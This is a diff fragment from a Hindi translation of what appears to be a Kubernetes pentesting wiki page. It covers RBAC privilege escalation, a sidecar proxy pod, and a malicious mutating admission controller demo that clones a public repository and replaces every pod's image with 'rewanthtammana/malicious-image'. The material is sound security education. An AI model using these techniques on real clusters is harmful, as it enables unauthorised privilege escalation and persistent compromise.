+नियम stipulates करता है कि **एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों**। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में।

 > [!WARNING]
 > पिछले नियम का एक अपवाद है। यदि एक प्रिंसिपल के पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** है, तो वह स्वयं अनुमतियाँ न होने पर भी भूमिकाओं और क्लस्टर भूमिकाओं के विशेषाधिकार बढ़ा सकता है।

-### **RoleBindings/ClusterRoleBindings प्राप्त करें और पैच करें**
+### **Get & Patch RoleBindings/ClusterRoleBindings**

 > [!CAUTION]
 > **स्पष्ट रूप से यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब उसी कारण से काम नहीं कर रही है जो पिछले अनुभाग में समझाया गया है। यदि आपके पास पहले से नहीं है तो आप अपने लिए या किसी अन्य SA को कुछ विशेषाधिकार देने के लिए एक भूमिका बाइंडिंग नहीं बना/संशोधित कर सकते।**

 भूमिका बाइंडिंग बनाने का विशेषाधिकार एक उपयोगकर्ता को **भूमिकाओं को एक सेवा खाते से बाइंड करने** की अनुमति देता है। यह विशेषाधिकार संभावित रूप से विशेषाधिकार वृद्धि की ओर ले जा सकता है क्योंकि यह **उपयोगकर्ता को एक समझौता किए गए सेवा खाते को प्रशासनिक विशेषाधिकार बाइंड करने** की अनुमति देता है।

-## अन्य हमले
+## Other Attacks

-### साइडकार प्रॉक्सी ऐप
+### Sidecar proxy app

-डिफ़ॉल्ट रूप से पॉड्स के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड।
+डिफ़ॉल्ट रूप से, पॉड्स के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड।

-#### एक साइडकार प्रॉक्सी ऐप बनाएं <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
+#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>

 अपना .yaml बनाएं
 ```bash
 kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
 ```
-अपने .yaml को संपादित करें और अनकमेंट की गई पंक्तियाँ जोड़ें:
+अपनी .yaml फ़ाइल को संपादित करें और अनकमेंट की गई पंक्तियों को जोड़ें:
 ```yaml
 #apiVersion: v1
 #kind: Pod
@@ -552,11 +616,11 @@ kubectl logs app -C proxy

 ### दुर्भावनापूर्ण प्रवेश नियंत्रक

-एक प्रवेश नियंत्रक **Kubernetes API सर्वर पर अनुरोधों को रोकता है** वस्तु के स्थायीकरण से पहले, लेकिन **अनुरोध को प्रमाणित** **और अधिकृत** करने के बाद।
+एक प्रवेश नियंत्रक **Kubernetes API सर्वर पर अनुरोधों को रोकता है** वस्तु के स्थायीकरण से पहले, लेकिन **अनुरोध के प्रमाणित** **और अधिकृत** होने के बाद।

-यदि एक हमलावर किसी तरह **Mutationg Admission Controller** को **इंजेक्ट** करने में सफल हो जाता है, तो वह **पहले से प्रमाणित अनुरोधों को संशोधित** कर सकेगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रहना।
+यदि एक हमलावर किसी तरह **Mutationg Admission Controller को इंजेक्ट** करने में सफल हो जाता है, तो वह **पहले से प्रमाणित अनुरोधों को संशोधित** करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रूप से बने रहना।

-**उदाहरण** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) से:
+**उदाहरण** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
 ```bash
 git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
 cd malicious-admission-controller-webhook-demo
@@ -596,7 +660,7 @@ Value: "rewanthtammana/malicious-image",
 ```
 उपरोक्त स्निपेट हर पॉड में पहले कंटेनर इमेज को `rewanthtammana/malicious-image` से बदलता है।

-## OPA गेटकीपर बायपास
+## OPA Gatekeeper बायपास

 {{#ref}}
 ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md